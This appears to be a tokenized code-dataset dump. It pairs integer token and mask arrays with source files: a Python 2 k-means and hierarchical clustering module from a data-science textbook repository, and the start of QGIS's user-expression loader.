289, 63, 83, 2458, 14, 18, 70, 1022, 13026, 2, 450, 334, 2319, 63, 262, 15, 5279, 14, 16, 1724, 272, 2249, 17, 14, 409, 63, 18512, 11468, 2319, 63, 262, 15, 18, 12, 7449, 63, 262, 15, 18, 566, 339, 2249, 18, 275, 6085, 17, 14, 525, 63, 13334, 8, 18, 12, 17, 12, 18, 9, 272, 2249, 18, 14, 31600, 8, 5842, 14, 5167, 75, 63, 16, 14, 576, 1062, 653, 1665, 52, 29, 78, 9996, 890, 12, 288, 949, 422, 4762, 29, 78, 9996, 890, 15, 20, 12, 481, 83, 275, 7449, 63, 548, 12, 288, 1768, 628, 3007, 4154, 2457, 531, 272, 2249, 18, 14, 31600, 8, 5842, 14, 5167, 75, 63, 17, 14, 576, 1062, 653, 1665, 52, 29, 78, 9996, 890, 12, 288, 949, 422, 4762, 29, 78, 9996, 890, 15, 20, 12, 481, 83, 275 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 8937, 2868, 2290, 2752, 12, 3277, 14, 199, 3, 221, 199, 3, 961, 570, 365, 1777, 402, 1664, 13514, 199, 3, 221, 199, 3, 1664, 13514, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 221, 199, 3, 1664, 13514, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 221, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 1664, 13514, 27, 1937, 314, 570, 9685, 14, 221, 982, 440, 12, 2218, 370, 199, 3, 314, 2868, 2290, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 199, 3, 8226, 12, 4828, 11315, 13, 10067, 12, 8217, 14, 199, 3, 9948, 199, 504, 24526, 492, 7192, 12, 6826, 6080, 18, 199, 646, 984, 199, 199, 893, 26, 272, 492, 7026, 199, 2590, 3545, 26, 272, 870, 298, 547, 26, 18841, 5074, 7026, 334, 3239, 26, 20732, 14, 14248, 14, 1308, 17617, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 893, 26, 272, 492, 19199, 199, 2590, 3545, 26, 272, 870, 298, 547, 26, 18841, 5074, 8027, 334, 3239, 26, 8027, 14, 22943, 14, 846, 17617, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 533, 3002, 5842, 8, 2587, 14, 2119, 63, 1457, 304, 272, 347, 636, 826, 721, 277, 12, 7449, 63, 262, 12, 7449, 63, 548, 12, 10821, 12, 653, 29, 9943, 304, 267, 7192, 14, 2119, 63, 1457, 855, 826, 721, 277, 9, 2728, 295, 1866, 275, 2069, 8, 2319, 63, 548, 9, 1182, 2069, 8, 2319, 63, 262, 9, 267, 870, 298, 1322, 23144, 687, 450, 70, 370, 450, 70, 701, 450, 70, 298, 2818, 2319, 63, 262, 12, 7449, 63, 548, 12, 295, 1866, 9, 398, 327, 20507, 4154, 5705, 307, 7461, 267, 307, 7461, 275, 7192, 14, 1795, 3424, 14, 674, 63, 1529, 63, 18, 8, 708, 12, 4337, 12, 378, 14, 821, 12, 378, 14, 17, 12, 5939, 9, 398, 291, 14, 2164, 275, 7192, 14, 4093, 63, 1365, 63, 67, 8, 2319, 63, 262, 12, 7192, 14, 3975, 63, 51, 568, 63, 32482, 12, 10821, 12, 413, 9, 267, 327, 277, 14, 2164, 275, 7192, 14, 11838, 63, 1365, 63, 67, 8, 2587, 14, 3975, 63, 9741, 1668, 2684, 879, 12, 413, 9, 267, 291, 14, 2993, 275, 7192, 14, 2993, 8, 2587, 14, 12590, 63, 2587, 63, 5254, 12, 653, 9, 398, 327, 437, 31744, 82, 543, 4154, 307, 7461, 267, 291, 14, 470, 5282, 63, 16, 275, 6826, 6080, 18, 14, 80, 4675, 63, 10325, 63, 22882, 82, 63, 31427, 8, 264, 1866, 12, 307, 7461, 12, 8105, 17166, 63, 890, 29, 708, 9, 398, 327, 437, 31744, 82, 626, 2951, 4839, 282, 522, 23144, 6634, 14, 267, 327, 9388, 365, 2737, 367, 2739, 436, 19829, 370, 8486, 267, 327, 8039, 20434, 402, 314, 1324, 4673, 14, 267, 327, 1626, 2716, 22624, 29, 2483, 6634, 883, 506, 1202, 2348, 370, 4960, 327, 4165, 314, 734, 13, 1618, 13, 7877, 295, 8923, 334, 885, 29, 1257, 680, 267, 291, 14, 470, 5282, 63, 17, 275, 6826, 6080, 18, 14, 80, 4675, 63, 10325, 63, 22882, 82, 63, 31427, 8, 264, 1866, 9, 398, 291, 14, 5167, 75, 63, 262, 275, 7192, 14, 4106, 63, 11279, 63, 67, 342, 267, 291, 14, 5167, 75, 63, 16, 275, 7192, 14, 4106, 63, 11279, 63, 67, 342, 267, 291, 14, 5167, 75, 63, 17, 275, 7192, 14, 4106, 63, 11279, 63, 67, 342, 398, 291, 14, 2242, 8, 277, 14, 2164, 12, 291, 14, 2993, 12, 291, 14, 5167, 75, 63, 262, 9, 267, 291, 14, 2242, 8, 277, 14, 2993, 12, 291, 14, 470, 5282, 63, 16, 12, 291, 14, 5167, 75, 63, 16, 9, 267, 291, 14, 2242, 8, 277, 14, 2993, 12, 291, 14, 470, 5282, 63, 17, 12, 291, 14, 5167, 75, 63, 17, 9, 199, 199, 318, 2446, 837, 272, 7449, 63, 262, 275, 29855, 272, 7449, 63, 548, 275, 499, 993, 272, 10821, 275, 5198, 272, 653, 275, 11630, 339, 7070, 275, 3002, 5842, 8, 2319, 63, 262, 12, 7449, 63, 548, 12, 10821, 12, 653, 9, 272, 7070, 14, 1065, 342, 2378, 327, 14794, 510, 3693, 402, 10166, 272, 302, 9996, 890, 275, 18427, 272, 6085, 17, 275, 19199, 14, 8941, 8, 17, 12, 6085, 890, 2687, 709, 12, 709, 395, 8870, 2326, 628, 87, 531, 272, 2249, 17, 275, 6085, 17, 14, 525, 63, 13334, 8, 18, 12, 17, 12, 17, 9, 272, 2249, 17, 14, 31600, 8, 5842, 14, 5167, 75, 63, 262, 14, 576, 1062, 653, 1665, 52, 29, 78, 9996, 890, 12, 288, 949, 422, 4762, 29, 78, 9996, 890, 15, 20, 12, 481, 83, 275, 7449, 63, 262, 9, 272, 2249, 17, 14, 409, 63, 1213, 9313, 3205, 18288, 737, 289, 63, 83, 2458, 14, 18, 70, 1022, 13026, 2, 450, 334, 2319, 63, 262, 15, 5279, 14, 16, 1724, 272, 2249, 17, 14, 409, 63, 18512, 11468, 2319, 63, 262, 15, 18, 12, 7449, 63, 262, 15, 18, 566, 339, 2249, 18, 275, 6085, 17, 14, 525, 63, 13334, 8, 18, 12, 17, 12, 18, 9, 272, 2249, 18, 14, 31600, 8, 5842, 14, 5167, 75, 63, 16, 14, 576, 1062, 653, 1665, 52, 29, 78, 9996, 890, 12, 288, 949, 422, 4762, 29, 78, 9996,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
xubenben/data-science-from-scratch
code/clustering.py
60
6438
from __future__ import division from linear_algebra import squared_distance, vector_mean, distance import math, random import matplotlib.image as mpimg import matplotlib.pyplot as plt class KMeans: """performs k-means clustering""" def __init__(self, k): self.k = k # number of clusters self.means = None # means of clusters def classify(self, input): """return the index of the cluster closest to the input""" return min(range(self.k), key=lambda i: squared_distance(input, self.means[i])) def train(self, inputs): self.means = random.sample(inputs, self.k) assignments = None while True: # Find new assignments new_assignments = map(self.classify, inputs) # If no assignments have changed, we're done. if assignments == new_assignments: return # Otherwise keep the new assignments, assignments = new_assignments for i in range(self.k): i_points = [p for p, a in zip(inputs, assignments) if a == i] # avoid divide-by-zero if i_points is empty if i_points: self.means[i] = vector_mean(i_points) def squared_clustering_errors(inputs, k): """finds the total squared error from k-means clustering the inputs""" clusterer = KMeans(k) clusterer.train(inputs) means = clusterer.means assignments = map(clusterer.classify, inputs) return sum(squared_distance(input,means[cluster]) for input, cluster in zip(inputs, assignments)) def plot_squared_clustering_errors(plt): ks = range(1, len(inputs) + 1) errors = [squared_clustering_errors(inputs, k) for k in ks] plt.plot(ks, errors) plt.xticks(ks) plt.xlabel("k") plt.ylabel("total squared error") plt.show() # # using clustering to recolor an image # def recolor_image(input_file, k=5): img = mpimg.imread(path_to_png_file) pixels = [pixel for row in img for pixel in row] clusterer = KMeans(k) clusterer.train(pixels) # this might take a while def recolor(pixel): cluster = clusterer.classify(pixel) # index of the closest cluster return clusterer.means[cluster] # mean of the closest cluster new_img = [[recolor(pixel) for pixel in row] for row in img] plt.imshow(new_img) plt.axis('off') plt.show() # # hierarchical clustering # def is_leaf(cluster): """a cluster is a leaf if it has length 1""" return len(cluster) == 1 def get_children(cluster): """returns the two children of this cluster if it's a merged cluster; raises an exception if this is a leaf cluster""" if is_leaf(cluster): raise TypeError("a leaf cluster has no children") else: return cluster[1] def get_values(cluster): """returns the value in this cluster (if it's a leaf cluster) or all the values in the leaf clusters below it (if it's not)""" if is_leaf(cluster): return cluster # is already a 1-tuple containing value else: return [value for child in get_children(cluster) for value in get_values(child)] def cluster_distance(cluster1, cluster2, distance_agg=min): """finds the aggregate distance between elements of cluster1 and elements of cluster2""" return distance_agg([distance(input1, input2) for input1 in get_values(cluster1) for input2 in get_values(cluster2)]) def get_merge_order(cluster): if is_leaf(cluster): return float('inf') else: return cluster[0] # merge_order is first element of 2-tuple def bottom_up_cluster(inputs, distance_agg=min): # start with every input a leaf cluster / 1-tuple clusters = [(input,) for input in inputs] # as long as we have more than one cluster left... while len(clusters) > 1: # find the two closest clusters c1, c2 = min([(cluster1, cluster2) for i, cluster1 in enumerate(clusters) for cluster2 in clusters[:i]], key=lambda (x, y): cluster_distance(x, y, distance_agg)) # remove them from the list of clusters clusters = [c for c in clusters if c != c1 and c != c2] # merge them, using merge_order = # of clusters left merged_cluster = (len(clusters), [c1, c2]) # and add their merge clusters.append(merged_cluster) # when there's only one cluster left, return it return clusters[0] def generate_clusters(base_cluster, num_clusters): # start with a list with just the base cluster clusters = [base_cluster] # as long as we don't have enough clusters yet... while len(clusters) < num_clusters: # choose the last-merged of our clusters next_cluster = min(clusters, key=get_merge_order) # remove it from the list clusters = [c for c in clusters if c != next_cluster] # and add its children to the list (i.e., unmerge it) clusters.extend(get_children(next_cluster)) # once we have enough clusters... return clusters if __name__ == "__main__": inputs = [[-14,-5],[13,13],[20,23],[-19,-11],[-9,-16],[21,27],[-49,15],[26,13],[-46,5],[-34,-1],[11,15],[-49,0],[-22,-16],[19,28],[-12,-8],[-13,-19],[-41,8],[-11,-6],[-25,-9],[-18,-3]] random.seed(0) # so you get the same results as me clusterer = KMeans(3) clusterer.train(inputs) print "3-means:" print clusterer.means print random.seed(0) clusterer = KMeans(2) clusterer.train(inputs) print "2-means:" print clusterer.means print print "errors as a function of k" for k in range(1, len(inputs) + 1): print k, squared_clustering_errors(inputs, k) print print "bottom up hierarchical clustering" base_cluster = bottom_up_cluster(inputs) print base_cluster print print "three clusters, min:" for cluster in generate_clusters(base_cluster, 3): print get_values(cluster) print print "three clusters, max:" base_cluster = bottom_up_cluster(inputs, max) for cluster in generate_clusters(base_cluster, 3): print get_values(cluster)
unlicense
[ 504, 636, 2443, 363, 492, 4629, 199, 504, 7798, 63, 279, 19355, 492, 20478, 63, 5590, 12, 5477, 63, 3670, 12, 6033, 199, 646, 3473, 12, 2196, 199, 646, 8027, 14, 1569, 465, 6118, 4060, 199, 646, 8027, 14, 13563, 465, 4488, 199, 199, 533, 1804, 21190, 26, 272, 408, 529, 3351, 1022, 13, 11579, 19454, 624, 339, 347, 636, 826, 721, 277, 12, 1022, 304, 267, 291, 14, 75, 275, 1022, 3515, 327, 1329, 402, 13865, 267, 291, 14, 11579, 275, 488, 257, 327, 4910, 402, 13865, 5493, 347, 28837, 8, 277, 12, 1324, 304, 267, 408, 1107, 314, 1478, 402, 314, 4350, 18284, 370, 314, 1324, 624, 267, 372, 1748, 8, 1842, 8, 277, 14, 75, 395, 673, 790, 29, 2734, 284, 26, 20478, 63, 5590, 8, 1210, 12, 291, 14, 11579, 59, 73, 2459, 490, 272, 347, 3560, 8, 277, 12, 4153, 304, 13857, 291, 14, 11579, 275, 2196, 14, 3271, 8, 3711, 12, 291, 14, 75, 9, 267, 18121, 275, 488, 2728, 1830, 715, 26, 288, 327, 6668, 892, 18121, 288, 892, 63, 18922, 275, 2341, 8, 277, 14, 12334, 1399, 12, 4153, 9, 953, 327, 982, 949, 18121, 1172, 2896, 12, 781, 3984, 4224, 14, 288, 340, 18121, 508, 892, 63, 18922, 26, 463, 355, 372, 953, 327, 6630, 4215, 314, 892, 18121, 12, 288, 18121, 275, 892, 63, 18922, 258, 953, 367, 284, 315, 1425, 8, 277, 14, 75, 304, 355, 284, 63, 3438, 275, 359, 80, 367, 299, 12, 282, 315, 3482, 8, 3711, 12, 18121, 9, 340, 282, 508, 284, 61, 355, 327, 5126, 23003, 13, 991, 13, 4262, 340, 284, 63, 3438, 365, 2701, 355, 340, 284, 63, 3438, 26, 2476, 490, 291, 14, 11579, 59, 73, 61, 275, 5477, 63, 3670, 8, 73, 63, 3438, 9, 258, 199, 199, 318, 20478, 63, 25802, 63, 2550, 8, 3711, 12, 1022, 304, 272, 408, 1623, 83, 314, 3141, 20478, 1125, 687, 1022, 13, 11579, 19454, 314, 4153, 624, 272, 824, 527, 266, 3859, 275, 1804, 21190, 8, 75, 9, 272, 824, 527, 266, 3859, 14, 2834, 8, 3711, 9, 272, 4910, 275, 824, 527, 266, 3859, 14, 11579, 272, 18121, 275, 2341, 8, 429, 527, 266, 3859, 14, 12334, 1399, 12, 4153, 9, 2286, 372, 3089, 8, 12973, 63, 5590, 8, 1210, 12, 11579, 59, 4201, 566, 2049, 367, 1324, 12, 4350, 315, 3482, 8, 3711, 12, 18121, 430, 199, 199, 318, 5137, 63, 12973, 63, 25802, 63, 2550, 8, 6003, 304, 339, 15357, 275, 1425, 8, 17, 12, 822, 8, 3711, 9, 435, 413, 9, 272, 2552, 275, 359, 12973, 63, 25802, 63, 2550, 8, 3711, 12, 1022, 9, 367, 1022, 315, 15357, 61, 339, 4488, 14, 2798, 8, 6080, 12, 2552, 9, 272, 4488, 14, 26217, 8, 6080, 9, 272, 4488, 14, 14168, 480, 75, 531, 272, 4488, 14, 13849, 480, 2923, 20478, 1125, 531, 272, 4488, 14, 2384, 342, 199, 199, 3, 199, 3, 1808, 19454, 370, 295, 2326, 376, 1834, 199, 3, 199, 199, 318, 295, 2326, 63, 1569, 8, 1210, 63, 493, 12, 1022, 29, 21, 304, 339, 6050, 275, 6118, 4060, 14, 1017, 739, 8, 515, 63, 475, 63, 4524, 63, 493, 9, 272, 11094, 275, 359, 8435, 367, 1962, 315, 6050, 367, 7148, 315, 1962, 61, 272, 824, 527, 266, 3859, 275, 1804, 21190, 8, 75, 9, 272, 824, 527, 266, 3859, 14, 2834, 8, 15727, 9, 327, 642, 5594, 5452, 282, 1830, 258, 339, 347, 295, 2326, 8, 8435, 304, 267, 4350, 275, 824, 527, 266, 3859, 14, 12334, 1399, 8, 8435, 9, 327, 1478, 402, 314, 18284, 4350, 267, 372, 824, 527, 266, 3859, 14, 11579, 59, 4201, 61, 258, 327, 4615, 402, 314, 18284, 4350, 339, 892, 63, 4060, 275, 3474, 264, 2326, 8, 8435, 9, 367, 7148, 315, 1962, 61, 2049, 367, 1962, 315, 6050, 61, 339, 4488, 14, 20413, 8, 1222, 63, 4060, 9, 272, 4488, 14, 3127, 360, 1997, 358, 272, 4488, 14, 2384, 342, 199, 199, 3, 199, 3, 24787, 19454, 199, 3, 199, 199, 318, 365, 63, 8914, 8, 4201, 304, 272, 408, 65, 4350, 365, 282, 11747, 340, 652, 965, 2582, 413, 624, 272, 372, 822, 8, 4201, 9, 508, 413, 199, 199, 318, 664, 63, 3223, 8, 4201, 304, 272, 408, 5808, 314, 2877, 4978, 402, 642, 4350, 340, 652, 1159, 282, 9545, 4350, 27, 272, 6534, 376, 1919, 340, 642, 365, 282, 11747, 4350, 624, 272, 340, 365, 63, 8914, 8, 4201, 304, 267, 746, 3146, 480, 65, 11747, 4350, 965, 949, 4978, 531, 272, 587, 26, 267, 372, 4350, 59, 17, 61, 199, 199, 318, 664, 63, 1459, 8, 4201, 304, 272, 408, 5808, 314, 574, 315, 642, 4350, 334, 692, 652, 1159, 282, 11747, 4350, 9, 272, 503, 1006, 314, 1338, 315, 314, 11747, 13865, 5084, 652, 334, 692, 652, 1159, 440, 9471, 272, 340, 365, 63, 8914, 8, 4201, 304, 267, 372, 4350, 327, 365, 2575, 282, 413, 13, 2960, 3035, 574, 272, 587, 26, 267, 372, 359, 585, 355, 367, 1982, 315, 664, 63, 3223, 8, 4201, 9, 355, 367, 574, 315, 664, 63, 1459, 8, 1739, 1874, 199, 199, 318, 4350, 63, 5590, 8, 4201, 17, 12, 4350, 18, 12, 6033, 63, 13452, 29, 827, 304, 272, 408, 1623, 83, 314, 9531, 6033, 3382, 4008, 402, 4350, 17, 272, 436, 4008, 402, 4350, 18, 624, 272, 372, 6033, 63, 13452, 779, 5590, 8, 1210, 17, 12, 1324, 18, 9, 717, 367, 1324, 17, 315, 664, 63, 1459, 8, 4201, 17, 9, 717, 367, 1324, 18, 315, 664, 63, 1459, 8, 4201, 18, 3948, 199, 199, 318, 664, 63, 5628, 63, 1648, 8, 4201, 304, 272, 340, 365, 63, 8914, 8, 4201, 304, 267, 372, 2069, 360, 4904, 358, 272, 587, 26, 267, 372, 4350, 59, 16, 61, 327, 5389, 63, 1648, 365, 1642, 1819, 402, 499, 13, 2960, 199, 199, 318, 9048, 63, 384, 63, 4201, 8, 3711, 12, 6033, 63, 13452, 29, 827, 304, 272, 327, 1343, 543, 4036, 1324, 282, 11747, 4350, 1182, 413, 13, 2960, 272, 13865, 275, 3842, 1210, 4258, 367, 1324, 315, 4153, 61, 2286, 327, 465, 1846, 465, 781, 1172, 1655, 2419, 1373, 4350, 3602, 1396, 272 ]
[ 636, 2443, 363, 492, 4629, 199, 504, 7798, 63, 279, 19355, 492, 20478, 63, 5590, 12, 5477, 63, 3670, 12, 6033, 199, 646, 3473, 12, 2196, 199, 646, 8027, 14, 1569, 465, 6118, 4060, 199, 646, 8027, 14, 13563, 465, 4488, 199, 199, 533, 1804, 21190, 26, 272, 408, 529, 3351, 1022, 13, 11579, 19454, 624, 339, 347, 636, 826, 721, 277, 12, 1022, 304, 267, 291, 14, 75, 275, 1022, 3515, 327, 1329, 402, 13865, 267, 291, 14, 11579, 275, 488, 257, 327, 4910, 402, 13865, 5493, 347, 28837, 8, 277, 12, 1324, 304, 267, 408, 1107, 314, 1478, 402, 314, 4350, 18284, 370, 314, 1324, 624, 267, 372, 1748, 8, 1842, 8, 277, 14, 75, 395, 673, 790, 29, 2734, 284, 26, 20478, 63, 5590, 8, 1210, 12, 291, 14, 11579, 59, 73, 2459, 490, 272, 347, 3560, 8, 277, 12, 4153, 304, 13857, 291, 14, 11579, 275, 2196, 14, 3271, 8, 3711, 12, 291, 14, 75, 9, 267, 18121, 275, 488, 2728, 1830, 715, 26, 288, 327, 6668, 892, 18121, 288, 892, 63, 18922, 275, 2341, 8, 277, 14, 12334, 1399, 12, 4153, 9, 953, 327, 982, 949, 18121, 1172, 2896, 12, 781, 3984, 4224, 14, 288, 340, 18121, 508, 892, 63, 18922, 26, 463, 355, 372, 953, 327, 6630, 4215, 314, 892, 18121, 12, 288, 18121, 275, 892, 63, 18922, 258, 953, 367, 284, 315, 1425, 8, 277, 14, 75, 304, 355, 284, 63, 3438, 275, 359, 80, 367, 299, 12, 282, 315, 3482, 8, 3711, 12, 18121, 9, 340, 282, 508, 284, 61, 355, 327, 5126, 23003, 13, 991, 13, 4262, 340, 284, 63, 3438, 365, 2701, 355, 340, 284, 63, 3438, 26, 2476, 490, 291, 14, 11579, 59, 73, 61, 275, 5477, 63, 3670, 8, 73, 63, 3438, 9, 258, 199, 199, 318, 20478, 63, 25802, 63, 2550, 8, 3711, 12, 1022, 304, 272, 408, 1623, 83, 314, 3141, 20478, 1125, 687, 1022, 13, 11579, 19454, 314, 4153, 624, 272, 824, 527, 266, 3859, 275, 1804, 21190, 8, 75, 9, 272, 824, 527, 266, 3859, 14, 2834, 8, 3711, 9, 272, 4910, 275, 824, 527, 266, 3859, 14, 11579, 272, 18121, 275, 2341, 8, 429, 527, 266, 3859, 14, 12334, 1399, 12, 4153, 9, 2286, 372, 3089, 8, 12973, 63, 5590, 8, 1210, 12, 11579, 59, 4201, 566, 2049, 367, 1324, 12, 4350, 315, 3482, 8, 3711, 12, 18121, 430, 199, 199, 318, 5137, 63, 12973, 63, 25802, 63, 2550, 8, 6003, 304, 339, 15357, 275, 1425, 8, 17, 12, 822, 8, 3711, 9, 435, 413, 9, 272, 2552, 275, 359, 12973, 63, 25802, 63, 2550, 8, 3711, 12, 1022, 9, 367, 1022, 315, 15357, 61, 339, 4488, 14, 2798, 8, 6080, 12, 2552, 9, 272, 4488, 14, 26217, 8, 6080, 9, 272, 4488, 14, 14168, 480, 75, 531, 272, 4488, 14, 13849, 480, 2923, 20478, 1125, 531, 272, 4488, 14, 2384, 342, 199, 199, 3, 199, 3, 1808, 19454, 370, 295, 2326, 376, 1834, 199, 3, 199, 199, 318, 295, 2326, 63, 1569, 8, 1210, 63, 493, 12, 1022, 29, 21, 304, 339, 6050, 275, 6118, 4060, 14, 1017, 739, 8, 515, 63, 475, 63, 4524, 63, 493, 9, 272, 11094, 275, 359, 8435, 367, 1962, 315, 6050, 367, 7148, 315, 1962, 61, 272, 824, 527, 266, 3859, 275, 1804, 21190, 8, 75, 9, 272, 824, 527, 266, 3859, 14, 2834, 8, 15727, 9, 327, 642, 5594, 5452, 282, 1830, 258, 339, 347, 295, 2326, 8, 8435, 304, 267, 4350, 275, 824, 527, 266, 3859, 14, 12334, 1399, 8, 8435, 9, 327, 1478, 402, 314, 18284, 4350, 267, 372, 824, 527, 266, 3859, 14, 11579, 59, 4201, 61, 258, 327, 4615, 402, 314, 18284, 4350, 339, 892, 63, 4060, 275, 3474, 264, 2326, 8, 8435, 9, 367, 7148, 315, 1962, 61, 2049, 367, 1962, 315, 6050, 61, 339, 4488, 14, 20413, 8, 1222, 63, 4060, 9, 272, 4488, 14, 3127, 360, 1997, 358, 272, 4488, 14, 2384, 342, 199, 199, 3, 199, 3, 24787, 19454, 199, 3, 199, 199, 318, 365, 63, 8914, 8, 4201, 304, 272, 408, 65, 4350, 365, 282, 11747, 340, 652, 965, 2582, 413, 624, 272, 372, 822, 8, 4201, 9, 508, 413, 199, 199, 318, 664, 63, 3223, 8, 4201, 304, 272, 408, 5808, 314, 2877, 4978, 402, 642, 4350, 340, 652, 1159, 282, 9545, 4350, 27, 272, 6534, 376, 1919, 340, 642, 365, 282, 11747, 4350, 624, 272, 340, 365, 63, 8914, 8, 4201, 304, 267, 746, 3146, 480, 65, 11747, 4350, 965, 949, 4978, 531, 272, 587, 26, 267, 372, 4350, 59, 17, 61, 199, 199, 318, 664, 63, 1459, 8, 4201, 304, 272, 408, 5808, 314, 574, 315, 642, 4350, 334, 692, 652, 1159, 282, 11747, 4350, 9, 272, 503, 1006, 314, 1338, 315, 314, 11747, 13865, 5084, 652, 334, 692, 652, 1159, 440, 9471, 272, 340, 365, 63, 8914, 8, 4201, 304, 267, 372, 4350, 327, 365, 2575, 282, 413, 13, 2960, 3035, 574, 272, 587, 26, 267, 372, 359, 585, 355, 367, 1982, 315, 664, 63, 3223, 8, 4201, 9, 355, 367, 574, 315, 664, 63, 1459, 8, 1739, 1874, 199, 199, 318, 4350, 63, 5590, 8, 4201, 17, 12, 4350, 18, 12, 6033, 63, 13452, 29, 827, 304, 272, 408, 1623, 83, 314, 9531, 6033, 3382, 4008, 402, 4350, 17, 272, 436, 4008, 402, 4350, 18, 624, 272, 372, 6033, 63, 13452, 779, 5590, 8, 1210, 17, 12, 1324, 18, 9, 717, 367, 1324, 17, 315, 664, 63, 1459, 8, 4201, 17, 9, 717, 367, 1324, 18, 315, 664, 63, 1459, 8, 4201, 18, 3948, 199, 199, 318, 664, 63, 5628, 63, 1648, 8, 4201, 304, 272, 340, 365, 63, 8914, 8, 4201, 304, 267, 372, 2069, 360, 4904, 358, 272, 587, 26, 267, 372, 4350, 59, 16, 61, 327, 5389, 63, 1648, 365, 1642, 1819, 402, 499, 13, 2960, 199, 199, 318, 9048, 63, 384, 63, 4201, 8, 3711, 12, 6033, 63, 13452, 29, 827, 304, 272, 327, 1343, 543, 4036, 1324, 282, 11747, 4350, 1182, 413, 13, 2960, 272, 13865, 275, 3842, 1210, 4258, 367, 1324, 315, 4153, 61, 2286, 327, 465, 1846, 465, 781, 1172, 1655, 2419, 1373, 4350, 3602, 1396, 272, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dgoedkoop/QGIS
python/user.py
7
4676
# -*- coding: utf-8 -*- """ *************************************************************************** user.py --------------------- Date : January 2015 Copyright : (C) 2015 by Nathan Woodrow Email : woodrow dot nathan at gmail dot com *************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * *************************************************************************** """ __author__ = 'Nathan Woodrow' __date__ = 'January 2015' __copyright__ = '(C) 2015, Nathan Woodrow' # This will get replaced with a git SHA1 when you do a git archive __revision__ = '$Format:%H$' import os import sys import glob import traceback from qgis.PyQt.QtCore import QCoreApplication from qgis.core import Qgis, QgsApplication, QgsMessageLog def load_user_expressions(path): """ Load all user expressions from the given paths """ #Loop all py files and import them modules = glob.glob(path + "/*.py") names = [os.path.basename(f)[:-3] for f in modules] for name in names: if name == "__init__": continue # As user expression functions should be registered with qgsfunction # just importing the file is enough to get it to load the functions into QGIS try: __import__("expressions.{0}".format(name), locals(), globals()) except: error = traceback.format_exc() msgtitle = QCoreApplication.translate("UserExpressions", "User expressions") msg = QCoreApplication.translate("UserExpressions", "The user expression {0} is not valid").format(name) QgsMessageLog.logMessage(msg + "\n" + error, msgtitle, Qgis.Warning) userpythonhome = os.path.join(QgsApplication.qgisSettingsDirPath(), "python") expressionspath = os.path.join(userpythonhome, "expressions") sys.path.append(userpythonhome) if not os.path.exists(expressionspath): os.makedirs(expressionspath) initfile = os.path.join(expressionspath, "__init__.py") if not os.path.exists(initfile): open(initfile, "w").close() template = """\"\"\" Define a new function using the @qgsfunction decorator. The function accept the following parameters :param [any]: Define any parameters you want to pass to your function before the following arguments. :param feature: The current feature :param parent: The QgsExpression object :param context: If there is an argument called ``context`` found at the last position, this variable will contain a ``QgsExpressionContext`` object, that gives access to various additional information like expression variables. E.g. ``context.variable('layer_id')`` :returns: The result of the expression. The @qgsfunction decorator accepts the following arguments: :param args: Defines the number of arguments. With ``args='auto'`` the number arguments will automatically be extracted from the signature. :param group: The name of the group under which this expression function will be listed. :param usesgeometry: Set this to False if your function does not access feature.geometry(). Defaults to True. :param referenced_columns: An array of attribute names that are required to run this function. Defaults to 